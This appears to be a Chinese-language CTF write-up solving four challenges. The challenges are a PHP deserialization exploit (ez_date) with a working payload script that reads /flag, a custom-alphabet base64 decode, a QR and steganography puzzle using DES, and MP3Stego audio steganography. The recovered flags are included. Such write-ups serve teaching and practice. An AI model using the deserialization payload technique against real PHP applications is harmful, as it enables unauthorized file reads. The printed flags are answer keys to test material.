2024.03 Week2
1. [CISCN 2023 华北] ez_date
考察点:PHP反序列化、正则匹配、弱比较
题目源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
分析:
(1)wakeup方法首先禁用了数组,所以不能给成员变量a和b赋值数组,需要使用其他方法绕过下面的md5和sha1。
(2)因为比较变量使用的是弱比较(!==),则我们可以给a、b赋值同值不同类,例如a=1、b=‘1’,二者md5值和sha1值相同,可以通过检查。
(3)变量content接受经过date日期格式化后的变量file。
对于date()方法:
- 该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
- 检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出
(4)uniqid()方法会生成一个唯一的文件名,并与后缀“.txt”拼接成变量uuid。
(5)file_put_contents()方法会将content的内容写入uuid表示的文本文档中。对文本文档的内容进行正则匹配,去除内容中的空格和换行符,赋值给变量打他。
(6)显示变量data的内容。
综上,我们需要绕过检测,为变量file赋值一个不会被date方法格式化的flag路径,读取到flag后,借由变量data显示出来。
payload:
<?php
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
$a=new date();
//同值不同类,通过三个检测
$a->a=1;
$a->b='1';
//此处file的内容在经过data()方法格式化后显示为/flag
$a->file="/f\l\a\g";
echo base64_encode(serialize($a));
针对上述正则表达式的详解:
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
- 开头的“/”和i前的“\”表示正则表达式语法的开始和结束
- (\s)* :匹配零个或多个空白字符(空格、制表符等)
- (\n)+ :匹配一个或多个换行符
- (\s)* :再次匹配零个或多个空白字符
- i :修饰符,表示不区分大小写
正则表达式会将上述空白字符和换行符都替换为空字符串。
2. [CISCN 2023 初赛]Sign_in_passwd
考察点:自定义字符映射表的base编码
打开文件得到密文:
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
可以在第二行编码中看到url编码,尝试解码后发现其包含A-Z、a-z和0-9,猜测为自定义秘钥。
第一行出现“=”,猜测为自定义base编码,在线工具或脚本尝试解码:
url解码:
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
传入编码和密钥解码:
flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}
脚本如下:
import base64
str1 = "j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D"
new = "GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF"
inti = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(new,inti))))
分析:
-
str1代表base64编码
-
new代表新的字符映射表,代替原有的base64映射表
-
inti代表原始base64的映射表
-
str.maketrans() 函数用于生成字符映射表,它接受两个参数:两个长度相同的字符串,表示要进行映射的字符与其对应的目标字符。这个函数返回一个映射表,可以被传递给 str.translate() 函数
-
str.translate() 函数接受一个映射表作为参数,并对字符串进行字符替换或删除操作。
-
最后,根据新的映射表解码base64
3. [ISCC] 美人计
考察点:文件隐藏、AES和DES编码
给到一张图片和一个word文档。
扫描二维码发现一段编码:
U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=
同时010分析图片获得以下信息:
编码方式为AES,秘钥是ISCC2021或ISCC2020,编码即为二维码信息。分别尝试解码之后发现错误。
题目提示:“美人说的话里有解题提示,但是美人的话不能全信。”
意思是编码方式、秘钥和编码都有可能是不对的,尝试在虚拟机中foremost分离两个文件,查看是否有额外信息。
在word文档中分离出另一张二维码,扫描后有一段新的编码:
U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE
AES既然是错误的,那么就尝试DES,并且尝试两种秘钥,最终发现秘钥ISCC2021是正确的,得到flag。
4. [ISCC] 我的折扣是多少
考察点:Unicode和base系列编码、音频隐写
压缩包给到三个文件,音频、可执行文件和一个压缩包。
点击give.exe,转瞬即逝,可以截图出来一段信息:
猜测为me压缩包的第一段密码,后尝试010分析三个文件,在me压缩包的分析中找到第二段密码:
第一个为Unicode编码,第二个为base64编码,分别解码并拼接密码:
krwgcc666
解开me压缩包之后得到一段base编码,解码:
暂时不知道作用,先分析音频文件,使用音频软件打开没有特殊的地方。
怀疑音频文件中藏有其他文件,正好利用上步解出的密码,使用工具MP3Stego得到一个文件,打开后得到一段base编码,解码得到flag。
ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}